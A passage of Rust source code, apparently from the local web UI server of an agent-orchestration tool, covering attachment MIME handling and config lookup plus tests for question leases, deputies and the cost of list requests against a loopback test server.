8895    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8896        Some("image/webp")
8897    } else {
8898        None
8899    }
8900}
8901
8902/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
8903/// display - see [`talk::Attachment::name`]'s doc on why it never
8904/// contributes to a path. A missing or blank header (curl without it, an
8905/// older front end) falls back to a generic name rather than refusing the
8906/// upload over a field that is cosmetic.
8907fn filename_header(headers: &HeaderMap) -> String {
8908    headers
8909        .get(FILENAME_HEADER)
8910        .and_then(|v| v.to_str().ok())
8911        .map(str::trim)
8912        .filter(|s| !s.is_empty())
8913        .unwrap_or("attachment")
8914        .to_owned()
8915}
8916
8917/// Every attachment `GET` response: the mime re-validated against the same
8918/// closed whitelist the upload route enforces - never the string trusted
8919/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
8920/// cannot decide it knows better than the type we send. Unlike a panel asset
8921/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
8922/// document renders inline, not agent-authored HTML in a sandboxed frame.
8923fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8924    let content_type = ATTACHMENT_MIME_WHITELIST
8925        .iter()
8926        .find(|&&m| m == mime)
8927        .copied()
8928        .unwrap_or("application/octet-stream");
8929    (
8930        [
8931            (header::CONTENT_TYPE, content_type),
8932            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8933        ],
8934        body,
8935    )
8936        .into_response()
8937}
8938
8939/// The configuration for a repository, read off the disk for this request.
8940///
8941/// Through [`blocking`] because discovery reads and merges several TOML files,
8942/// and because the alternative - caching it in [`Ui`] at startup - would mean
8943/// the operator's phone kept interviewing with a roster they had already
8944/// changed, with no way to reload it but restarting the server they are not
8945/// sitting in front of.
8946async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8947    let repo = repo.to_path_buf();
8948    blocking(move || {
8949        let (cfg, _) = Config::discover(&repo, None)?;
8950        Ok(cfg)
8951    })
8952    .await
8953}
8954
8955/// The one prefix rule, used for both runs and tasks: a leading match for a
8956/// full id, a trailing match for the short form an operator reads off a
8957/// report. Written here rather than borrowed from `queue::resolve_id` because
8958/// the UI needs the two failures as different status codes, and telling them
8959/// apart from an error message is not something to build a route on.
8960fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8961    let mut hits = ids
8962        .into_iter()
8963        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8964    match (hits.next(), hits.next()) {
8965        (Some(one), None) => Ok(one),
8966        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8967        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8968            "`{prefix}` matches more than one {what}, including {a} and {b}"
8969        ))),
8970    }
8971}
8972
8973#[cfg(test)]
8974mod tests {
8975
8976    #[test]
8977    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8978        let dir = tempfile::tempdir().unwrap();
8979        let store = ask::Questions::at(dir.path().join("questions"));
8980        let mut q = Question::new(
8981            "task".to_owned(),
8982            "conduct".to_owned(),
8983            "conduct".to_owned(),
8984            "choose".to_owned(),
8985            String::new(),
8986            vec!["keep".to_owned()],
8987        );
8988        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8989        q.say("why?").unwrap();
8990        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8991        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8992        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8993        store.put(&mut q).unwrap();
8994        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8995        assert_eq!(store.count_needs_owner(), 1);
8996        store.beat(&q.id, ask::WaiterKind::Deputy);
8997        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8998        assert_eq!(store.count_needs_owner(), 0);
8999        let mut stale = store.read_lease(&q.id).unwrap();
9000        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9001        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9002        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9003        assert!(view.deputy_exhausted);
9004        assert!(view.waiting_on_agent);
9005        assert_eq!(view.question.choices, ["keep"]);
9006        store.drop_lease(&q.id);
9007        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9008        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9009    }
9010
9011    #[test]
9012    fn holder_reads_the_lease_not_the_record() {
9013        let mut q = Question::new(
9014            "run".to_owned(),
9015            "implement".to_owned(),
9016            "impl-A".to_owned(),
9017            "which?".to_owned(),
9018            String::new(),
9019            Vec::new(),
9020        );
9021        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9022        q.cwd = Some("/tmp".to_owned());
9023        assert_eq!(holder_of(&q, None), Some("nobody"));
9024        let beat = |kind, ago: i64| ask::Lease {
9025            kind,
9026            pid: 1,
9027            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9028                .unwrap(),
9029        };
9030        let fresh = beat(ask::WaiterKind::Asker, 1);
9031        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9032        let daemon = beat(ask::WaiterKind::Daemon, 1);
9033        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9034        let stale = beat(ask::WaiterKind::Asker, 3600);
9035        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9036
9037        // A conductor question says "deputy" only while one is attached and
9038        // alive, and "nobody" - never silence - when nothing ever listened.
9039        let mut c = Question::new(
9040            "task".to_owned(),
9041            crate::conduct::NODE.to_owned(),
9042            "conduct".to_owned(),
9043            "which?".to_owned(),
9044            String::new(),
9045            Vec::new(),
9046        );
9047        assert_eq!(holder_of(&c, None), Some("nobody"));
9048        c.cwd = Some("/tmp".to_owned());
9049        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9050        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9051        let deputy = beat(ask::WaiterKind::Deputy, 1);
9052        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9053        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9054
9055        // A release-watch question: nobody until a deputy is attached.
9056        let mut r = Question::new(
9057            String::new(),
9058            crate::bump::NOTICE_NODE.to_owned(),
9059            "release-watch".to_owned(),
9060            "stuck?".to_owned(),
9061            String::new(),
9062            vec!["hold".to_owned()],
9063        );
9064        assert_eq!(holder_of(&r, None), Some("nobody"));
9065        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9066        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9067        // A choice-less bump notice is nobody's question at all.
9068        r.deputy = None;
9069        r.seat = "bump".to_owned();
9070        assert_eq!(holder_of(&r, None), None);
9071
9072        // A merge approval is the same: nobody until a deputy is attached
9073        // and alive, never a silent "no holder".
9074        let mut m = Question::new(
9075            "run".to_owned(),
9076            crate::land::APPROVAL_NODE.to_owned(),
9077            "land".to_owned(),
9078            "merge?".to_owned(),
9079            String::new(),
9080            Vec::new(),
9081        );
9082        assert_eq!(holder_of(&m, None), Some("nobody"));
9083        assert_eq!(
9084            holder_of(&m, Some(&fresh)),
9085            Some("asker"),
9086            "a live explicit wait is a listener even before a deputy is attached"
9087        );
9088        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9089        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9090        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9091        assert_eq!(holder_of(&m, None), Some("nobody"));
9092    }
9093
9094    fn stub_config() -> Config {
9095        // An explicit roster, so the result never depends on which agent CLIs
9096        // this machine has installed.
9097        Config {
9098            agents: vec![crate::config::AgentSpec {
9099                id: "stub".to_owned(),
9100                kind: AgentKind::Command,
9101                model: None,
9102                command: vec!["true".to_owned()],
9103                extra_args: Vec::new(),
9104                env: Default::default(),
9105                prompt_delivery: None,
9106            }],
9107            ..Config::default()
9108        }
9109    }
9110
9111    fn plain_question(seat: &str) -> Question {
9112        Question::new(
9113            String::new(),
9114            "n".to_owned(),
9115            seat.to_owned(),
9116            "s".to_owned(),
9117            String::new(),
9118            Vec::new(),
9119        )
9120    }
9121
9122    #[test]
9123    fn deputies_enabled_follows_the_config() {
9124        let on = stub_config();
9125        assert!(crate::deputy::can_start(Some(&on), ""));
9126        assert!(crate::deputy::can_start(Some(&on), "stub"));
9127        let mut off = on.clone();
9128        off.daemon.max_deputies = 0;
9129        assert!(!crate::deputy::can_start(Some(&off), ""));
9130        let mut empty = on;
9131        empty.agents.clear();
9132        assert!(!crate::deputy::can_start(Some(&empty), ""));
9133        assert!(!crate::deputy::can_start(None, ""));
9134    }
9135
9136    #[test]
9137    fn question_views_load_the_config_once() {
9138        let dir = TempDir::new().unwrap();
9139        let store = ask::Questions::at(dir.path().to_path_buf());
9140        let mut with_deputy = plain_question("b");
9141        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9142        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9143
9144        let calls = std::cell::Cell::new(0usize);
9145        let views = question_views(qs.clone(), &store, || {
9146            calls.set(calls.get() + 1);
9147            Some(stub_config())
9148        });
9149        assert_eq!(calls.get(), 1);
9150        assert_eq!(views.len(), 3);
9151        for (v, q) in views.iter().zip(&qs) {
9152            assert_eq!(
9153                v.deputies_enabled,
9154                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9155            );
9156        }
9157
9158        let views = question_views(qs, &store, || None);
9159        assert!(views.iter().all(|v| !v.deputies_enabled));
9160
9161        let calls = std::cell::Cell::new(0usize);
9162        let views = question_views(Vec::new(), &store, || {
9163            calls.set(calls.get() + 1);
9164            None
9165        });
9166        assert!(views.is_empty());
9167        assert_eq!(calls.get(), 0);
9168    }
9169
9170    use pretty_assertions::assert_eq;
9171    use serde_json::Value;
9172    use tempfile::TempDir;
9173    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9174
9175    use super::*;
9176    use crate::config::Config;
9177    use crate::queue::Source;
9178
9179    /// How many 10ms steps a settle loop takes before it calls a stall a
9180    /// stall - thirty seconds.
9181    ///
9182    /// These loops wait on real `sh` subprocesses, and the machine that runs
9183    /// the gate runs several suites at once, so a two-second budget was not
9184    /// waiting for the reply, it was racing the scheduler: two of these
9185    /// tests failed under that load with the turn simply not landed yet.
9186    /// This is a hang guard, not a latency assertion - every loop breaks the
9187    /// moment its condition holds, so a generous cap costs an idle machine
9188    /// nothing and still fails a genuine hang instead of hanging the suite.
9189    const SETTLE_STEPS: usize = 3_000;
9190
9191    /// A home with a queue and a runs directory, and a router serving it on
9192    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
9193    /// dependency, not ours - so the tests drive a real socket, which has the
9194    /// side benefit of asserting the status line and content types the phone
9195    /// actually receives.
9196    struct Fixture {
9197        home: TempDir,
9198        addr: SocketAddr,
9199    }
9200
9201    impl Fixture {
9202        async fn start() -> Self {
9203            Self::with_loop(launch_idle).await
9204        }
9205
9206        /// A fixture whose loop is `launch`.
9207        async fn with_loop(launch: Launch) -> Self {
9208            let home = TempDir::new().expect("temp home");
9209            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9210            Self { home, addr }
9211        }
9212
9213        /// A fixture whose `ui.repo` is a real directory rather than the
9214        /// usual placeholder - for the routes that read config off it
9215        /// (`GET /api/repos`) and would otherwise have nothing to discover.
9216        async fn with_repo(repo: PathBuf) -> Self {
9217            let home = TempDir::new().expect("temp home");
9218            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9219            Self { home, addr }
9220        }
9221
9222        /// As [`Fixture::with_repo`], with the machine-config file the
9223        /// settings screen reads and writes.
9224        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9225            let home = TempDir::new().expect("temp home");
9226            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9227            Self { home, addr }
9228        }
9229
9230        async fn serve(
9231            home: &FsPath,
9232            repo: PathBuf,
9233            launch: Launch,
9234            machine: Option<PathBuf>,
9235        ) -> SocketAddr {
9236            let queue = Queue::at(home.join("queue"));
9237            let runs = home.join("runs");
9238            std::fs::create_dir_all(&runs).expect("runs dir");
9239            let worktrees = home.join("wt").join("magi");
9240            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9241            let ui = Ui::new(
9242                queue,
9243                Questions::at(home.join("questions")),
9244                Talks::at(home.join("talks")),
9245                runs,
9246                home.to_path_buf(),
9247                repo,
9248            )
9249            .with_worktrees_root(worktrees)
9250            .with_machine_config(machine)
9251            .with_launch(launch);
9252            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9253                .await
9254                .expect("bind loopback");
9255            let addr = listener.local_addr().expect("local addr");
9256            tokio::spawn(async move {
9257                let router = ui
9258                    .router()
9259                    .layer(axum::middleware::from_fn(request_cost::observe));
9260                let _ = axum::serve(listener, router).await;
9261            });
9262            addr
9263        }
9264
9265        fn queue(&self) -> Queue {
9266            Queue::at(self.home.path().join("queue"))
9267        }
9268
9269        fn questions(&self) -> Questions {
9270            Questions::at(self.home.path().join("questions"))
9271        }
9272
9273        fn talks(&self) -> Talks {
9274            Talks::at(self.home.path().join("talks"))
9275        }
9276
9277        fn runs(&self) -> PathBuf {
9278            self.home.path().join("runs")
9279        }
9280
9281        async fn get(&self, path: &str) -> Res {
9282            request(self.addr, "GET", path, None).await
9283        }
9284
9285        /// The status and headers without the body, which is how the front end
9286        /// preflights a panel: a sandboxed frame is opaque to the parent
9287        /// document, so the only way to tell "no panel" from "a panel that
9288        /// rendered blank" is to ask before mounting.
9289        async fn head(&self, path: &str) -> Res {
9290            request(self.addr, "HEAD", path, None).await
9291        }
9292
9293        async fn post(&self, path: &str, body: Option<&str>) -> Res {
9294            request(self.addr, "POST", path, body).await
9295        }
9296
9297        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9298            request_with(self.addr, "GET", path, None, extra).await
9299        }
9300
9301        async fn delete(&self, path: &str) -> Res {
9302            request(self.addr, "DELETE", path, None).await
9303        }
9304
9305        async fn put(&self, path: &str, body: &str) -> Res {
9306            request(self.addr, "PUT", path, Some(body)).await
9307        }
9308
9309        /// `POST` a raw body with its own headers - see [`request_bytes`].
9310        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9311            request_bytes(self.addr, path, headers, body).await
9312        }
9313    }
9314
9315    /// Real tracking refs exercise the successful discovery path (including
9316    /// extraction), rather than counting cheap failures on a placeholder repo.
9317    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9318        let tmp = TempDir::new().unwrap();
9319        let mut repos = Vec::new();
9320        for name in ["one", "two"] {
9321            let repo = tmp.path().join(name);
9322            let origin = tmp.path().join(format!("{name}.git"));
9323            std::fs::create_dir_all(&repo).unwrap();
9324            crate::git::git(&repo, &["init", "-b", "main"])
9325                .await
9326                .unwrap();
9327            std::fs::write(
9328                repo.join("magi.toml"),
9329                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9330            )
9331            .unwrap();
9332            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9333            crate::git::git(
9334                &repo,
9335                &[
9336                    "-c",
9337                    "user.name=fixture",
9338                    "-c",
9339                    "user.email=fixture@example.invalid",
9340                    "commit",
9341                    "-m",
9342                    "fixture",
9343                ],
9344            )
9345            .await
9346            .unwrap();
9347            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9348                .await
9349                .unwrap();
9350            crate::git::git(
9351                &repo,
9352                &["remote", "add", "origin", origin.to_str().unwrap()],
9353            )
9354            .await
9355            .unwrap();
9356            crate::git::git(&repo, &["push", "origin", "main"])
9357                .await
9358                .unwrap();
9359            crate::git::git(
9360                &repo,
9361                &[
9362                    "symbolic-ref",
9363                    "refs/remotes/origin/HEAD",
9364                    "refs/remotes/origin/main",
9365                ],
9366            )
9367            .await
9368            .unwrap();
9369            let (cfg, _) = Config::discover(&repo, None).unwrap();
9370            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9371            repos.push(repo);
9372        }
9373        let repos: [PathBuf; 2] = repos.try_into().unwrap();
9374        (tmp, repos)
9375    }
9376
9377    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9378        let (tmp, repos) = performance_repositories().await;
9379        let machine = tmp.path().join("machine.toml");
9380        std::fs::write(&machine, "").unwrap();
9381        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9382        (tmp, repos, fx)
9383    }
9384
9385    fn seed_performance(
9386        fx: &Fixture,
9387        repos: &[PathBuf; 2],
9388        questions: usize,
9389        runs: usize,
9390        items: usize,
9391    ) {
9392        // Saving states directly never starts a run or changes MAGI_HOME.
9393        for i in fx.questions().list().len()..questions {
9394            let mut question = Question::new(
9395                "20261001-000000-0000".into(),
9396                "implement".into(),
9397                "impl-A".into(),
9398                format!("question {i}"),
9399                "context".into(),
9400                vec!["yes".into(), "no".into()],
9401            );
9402            question.id = format!("20261003-000000-{i:04x}");
9403            fx.questions().put(&mut question).unwrap();
9404        }
9405        for i in run_ids(&fx.runs()).len()..runs {
9406            write_run_repo(
9407                &fx.runs(),
9408                &format!("20261001-000000-{i:04x}"),
9409                RunStatus::Ready,
9410                repos[i % 2].to_str().unwrap(),
9411            );
9412        }
9413        for i in fx.talks().list().len()..items {
9414            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9415            let mut talk = fx.talks().get(&id).unwrap();
9416            talk.repo = repos[i % 2].clone();
9417            fx.talks().put(&mut talk).unwrap();
9418            let mut task = crate::queue::Task::new(
9419                format!("task {i}"),
9420                "instruction".into(),
9421                repos[i % 2].clone(),
9422                crate::queue::Source::Agent {
9423                    run: id,
9424                    node: crate::queue::CHAT_NODE.into(),
9425                },
9426            );
9427            task.id = format!("20261004-000000-{i:04x}");
9428            fx.queue().put(&mut task).unwrap();
9429            // Notices has a production retention cap; seed up to that cap.
9430            if i < crate::notices::CAP {
9431                Notices::at(fx.home.path().join("notifications"))
9432                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
9433                    .unwrap();
9434            }
9435        }
9436        assert_eq!(fx.questions().list().len(), questions);
9437        assert_eq!(run_ids(&fx.runs()).len(), runs);
9438        assert_eq!(fx.talks().list().len(), items);
9439        assert_eq!(fx.queue().list().len(), items);
9440        assert_eq!(
9441            Notices::at(fx.home.path().join("notifications"))
9442                .list()
9443                .len(),
9444            items.min(crate::notices::CAP)
9445        );
9446    }
9447
9448    fn request_counts(res: &Res) -> (usize, usize) {
9449        assert_eq!(res.status, 200, "{}", res.body);
9450        (
9451            res.header("x-test-discoveries").unwrap().parse().unwrap(),
9452            res.header("x-test-git").unwrap().parse().unwrap(),
9453        )
9454    }
9455
9456    #[tokio::test]
9457    async fn list_request_cost_is_independent_of_record_count() {
9458        let (_tmp, repos, fx) = performance_fixture().await;
9459        let mut previous = None;
9460        for n in [4, 60] {
9461            seed_performance(&fx, &repos, n, n, n);
9462            let mut costs = Vec::new();
9463            for (path, discoveries) in [
9464                ("/api/questions", 1),
9465                ("/api/talks", 2),
9466                ("/api/health", 1),
9467                ("/api/stats", 1),
9468            ] {
9469                // Equal cold extraction caches at both scales; this also
9470                // bounds first-request cost instead of only warmed requests.
9471                for repo in &repos {
9472                    let cache = repo.join(".git/magi/config");
9473                    if cache.exists() {
9474                        std::fs::remove_dir_all(cache).unwrap();
9475                    }
9476                }
9477                let cost = request_counts(&fx.get(path).await);
9478                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9479                assert_eq!(cost.0, discoveries, "{path}, N={n}");
9480                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9481                costs.push(cost);
9482            }
9483            if let Some(previous) = previous {
9484                assert_eq!(costs, previous);
9485            }
9486            previous = Some(costs);
9487        }
9488        // runs reads shared row inputs and probes process liveness; queue
9489        // builds one blocker inventory; notifications reads its own store.
9490        // None discovers configuration or spawns git per item.
9491    }
9492
9493    /// The same handler path without transport, so the deterministic cause
9494    /// can also be checked in environments that prohibit binding sockets.
9495    #[tokio::test]
9496    async fn list_handler_cost_without_transport() {
9497        let (_tmp, repos) = performance_repositories().await;
9498        let fx = Fixture {
9499            home: TempDir::new().unwrap(),
9500            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9501        };
9502        let ui = Arc::new(
9503            Ui::new(
9504                fx.queue(),
9505                fx.questions(),
9506                fx.talks(),
9507                fx.runs(),
9508                fx.home.path().to_path_buf(),
9509                repos[0].clone(),
9510            )
9511            .with_worktrees_root(fx.home.path().join("wt")),
9512        );
9513        let mut previous = None;
9514        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9515            seed_performance(&fx, &repos, n, runs, items);
9516            let mut costs = Vec::new();
9517            for endpoint in ["questions", "talks", "health", "stats"] {
9518                for repo in &repos {
9519                    let cache = repo.join(".git/magi/config");
9520                    if cache.exists() {
9521                        std::fs::remove_dir_all(cache).unwrap();
9522                    }
9523                }
9524                let (_, cost) = request_cost::measure(async {
9525                    match endpoint {
9526                        "questions" => {
9527                            let _ = questions_list(State(ui.clone())).await.unwrap();
9528                        }
9529                        "talks" => {
9530                            let _ = talks_list(
9531                                State(ui.clone()),
9532                                Query(ListQuery {
9533                                    limit: None,
9534                                    ids: None,
9535                                }),
9536                            )
9537                            .await
9538                            .unwrap();
9539                        }
9540                        "health" => {
9541                            let _ = health(State(ui.clone())).await.unwrap();
9542                        }
9543                        _ => {
9544                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9545                                .await
9546                                .unwrap();
9547                        }
9548                    }
9549                })
9550                .await;
9551                eprintln!("{endpoint} handler N={n}: {cost:?}");
9552                assert_eq!(
9553                    cost.0,
9554                    if endpoint == "talks" { 2 } else { 1 },
9555                    "{endpoint}"
9556                );
9557                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9558                costs.push(cost);
9559            }
9560            if let Some(previous) = previous {
9561                assert_eq!(costs, previous);
9562            }
9563            previous = Some(costs);
9564        }
9565    }
9566
9567    #[tokio::test]
9568    async fn list_request_cost_scopes_do_not_mix() {
9569        let (_tmp, repos, fx) = performance_fixture().await;
9570        seed_performance(&fx, &repos, 10, 0, 10);
9571        let (questions, talks, notices) = tokio::join!(
9572            fx.get("/api/questions"),
9573            fx.get("/api/talks"),
9574            fx.get("/api/notifications")
9575        );
9576        assert_eq!(request_counts(&questions).0, 1);
9577        assert_eq!(request_counts(&talks).0, 2);
9578        assert_eq!(request_counts(&notices), (0, 0));
9579    }
9580
9581    #[tokio::test]
9582    async fn list_endpoints_large_home_ceiling() {
9583        let (_tmp, repos, fx) = performance_fixture().await;
9584        seed_performance(&fx, &repos, 200, 300, 400);
9585        let mut failures = Vec::new();
9586        // app.js boot/change loads plus the initial dashboard, settings and
9587        // repo picker. SSE is a persistent stream, not a bounded GET.
9588        for path in [
9589            "/",
9590            "/app.js",
9591            "/app.css",
9592            "/api/questions",
9593            "/api/runs?limit=300",
9594            "/api/queue",
9595            "/api/talks",
9596            "/api/notifications",
9597            "/api/health",
9598            "/api/stats",
9599            "/api/loop",
9600            "/api/settings",
9601            "/api/repos",
9602        ] {
9603            let start = std::time::Instant::now();
9604            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9605            let elapsed = start.elapsed();
9606            eprintln!("{path}: {elapsed:?}");
9607            match result {
9608                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9609                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9610                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9611            }
9612        }
9613        assert!(failures.is_empty(), "{}", failures.join("\n"));
9614    }
9615
9616    struct Res {
9617        status: u16,
9618        headers: String,
9619        /// The header block with its original casing, for the assertions that
9620        /// compare a header *value* rather than looking for a name. Lowercasing
9621        /// a CSP would hide a directive spelled with a capital letter, and the
9622        /// whole point of that test is that the string is exactly right.
9623        head: String,
9624        body: String,
9625        /// The body before any UTF-8 handling, for the routes that serve
9626        /// something other than text. A panel asset is a PNG as often as not,
9627        /// and `from_utf8_lossy` would silently replace half of it.
9628        bytes: Vec<u8>,
9629    }
9630
9631    impl Res {
9632        fn json(&self) -> Value {
9633            serde_json::from_str(&self.body)
9634                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9635        }
9636
9637        /// One header's value verbatim, or `None` when it was not sent.
9638        fn header(&self, name: &str) -> Option<&str> {
9639            self.head.lines().find_map(|line| {
9640                let (key, value) = line.split_once(':')?;
9641                key.trim()
9642                    .eq_ignore_ascii_case(name)
9643                    .then(|| value.trim_start().trim_end_matches('\r'))
9644            })
9645        }
9646    }
9647
9648    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
9649    /// be read to end-of-stream without parsing framing.
9650    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9651        request_with(addr, method, path, body, &[]).await
9652    }
9653
9654    /// As [`request`], with extra request headers - conditional GETs need
9655    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
9656    /// worse than one that sets none.
9657    async fn request_with(
9658        addr: SocketAddr,
9659        method: &str,
9660        path: &str,
9661        body: Option<&str>,
9662        extra: &[(&str, &str)],
9663    ) -> Res {
9664        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9665        for (name, value) in extra {
9666            head.push_str(&format!("{name}: {value}\r\n"));
9667        }
9668        if let Some(body) = body {
9669            head.push_str("Content-Type: application/json\r\n");
9670            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9671        }
9672        head.push_str("\r\n");
9673        if let Some(body) = body {
9674            head.push_str(body);
9675        }
9676        let mut socket = tokio::net::TcpStream::connect(addr)
9677            .await
9678            .expect("connect to the test server");
9679        socket
9680            .write_all(head.as_bytes())
9681            .await
9682            .expect("write request");
9683        let mut raw = Vec::new();
9684        socket.read_to_end(&mut raw).await.expect("read response");
9685        // Split on the raw bytes rather than on a lossy string, so a binary
9686        // body survives to be compared byte for byte.
9687        let split = raw
9688            .windows(4)
9689            .position(|w| w == b"\r\n\r\n")
9690            .expect("a header block");
9691        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9692        let bytes = raw[split + 4..].to_vec();
9693        let status = head
9694            .lines()
9695            .next()
9696            .and_then(|line| line.split_whitespace().nth(1))
9697            .and_then(|code| code.parse().ok())
9698            .expect("a status line");
9699        Res {
9700            status,
9701            headers: head.to_lowercase(),
9702            head,
9703            body: String::from_utf8_lossy(&bytes).into_owned(),
9704            bytes,
9705        }
9706    }
9707
9708    /// A `POST` carrying a raw binary body and its own headers, for the
9709    /// attachment upload route - `request_with` only ever sends
9710    /// `Content-Type: application/json`, which is wrong for an image and
9711    /// would corrupt anything not valid UTF-8 by round-tripping it through
9712    /// `&str` first.
9713    async fn request_bytes(
9714        addr: SocketAddr,
9715        path: &str,
9716        headers: &[(&str, &str)],
9717        body: &[u8],
9718    ) -> Res {
9719        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9720        for (name, value) in headers {
9721            head.push_str(&format!("{name}: {value}\r\n"));
9722        }
9723        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9724        let mut socket = tokio::net::TcpStream::connect(addr)
9725            .await
9726            .expect("connect to the test server");
9727        socket
9728            .write_all(head.as_bytes())
9729            .await
9730            .expect("write request head");
9731        socket.write_all(body).await.expect("write request body");
9732        let mut raw = Vec::new();
9733        socket.read_to_end(&mut raw).await.expect("read response");
9734        let split = raw
9735            .windows(4)
9736            .position(|w| w == b"\r\n\r\n")
9737            .expect("a header block");
9738        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9739        let bytes = raw[split + 4..].to_vec();
9740        let status = head
9741            .lines()
9742            .next()
9743            .and_then(|line| line.split_whitespace().nth(1))
9744            .and_then(|code| code.parse().ok())
9745            .expect("a status line");
9746        Res {
9747            status,
9748            headers: head.to_lowercase(),
9749            head,
9750            body: String::from_utf8_lossy(&bytes).into_owned(),
9751            bytes,
9752        }
9753    }
9754
9755    /// A run on disk, without touching the process-global magi home.
9756    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9757        let mut state = RunState::new(
9758            PathBuf::from("/repo/magi"),
9759            "main".to_owned(),
9760            "0123456789abcdef".to_owned(),
9761            "Add a web UI\n\nMobile first.".to_owned(),
9762            Config::default(),
9763        );
9764        state.id = id.to_owned();
9765        state.status = status;
9766        let dir = runs.join(id);
9767        std::fs::create_dir_all(&dir).expect("run dir");
9768        std::fs::write(
9769            dir.join("run.json"),
9770            serde_json::to_string_pretty(&state).expect("serialize run"),
9771        )
9772        .expect("write run.json");
9773    }
9774
9775    /// Same as [`write_run`], but against a named repository rather than the
9776    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
9777    /// spread across more than one.
9778    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9779        let mut state = RunState::new(
9780            PathBuf::from(repo),
9781            "main".to_owned(),
9782            "0123456789abcdef".to_owned(),
9783            "task".to_owned(),
9784            Config::default(),
9785        );
9786        state.id = id.to_owned();
9787        state.status = status;
9788        let dir = runs.join(id);
9789        std::fs::create_dir_all(&dir).expect("run dir");
9790        std::fs::write(
9791            dir.join("run.json"),
9792            serde_json::to_string_pretty(&state).expect("serialize run"),
9793        )
9794        .expect("write run.json");
9795    }
9796
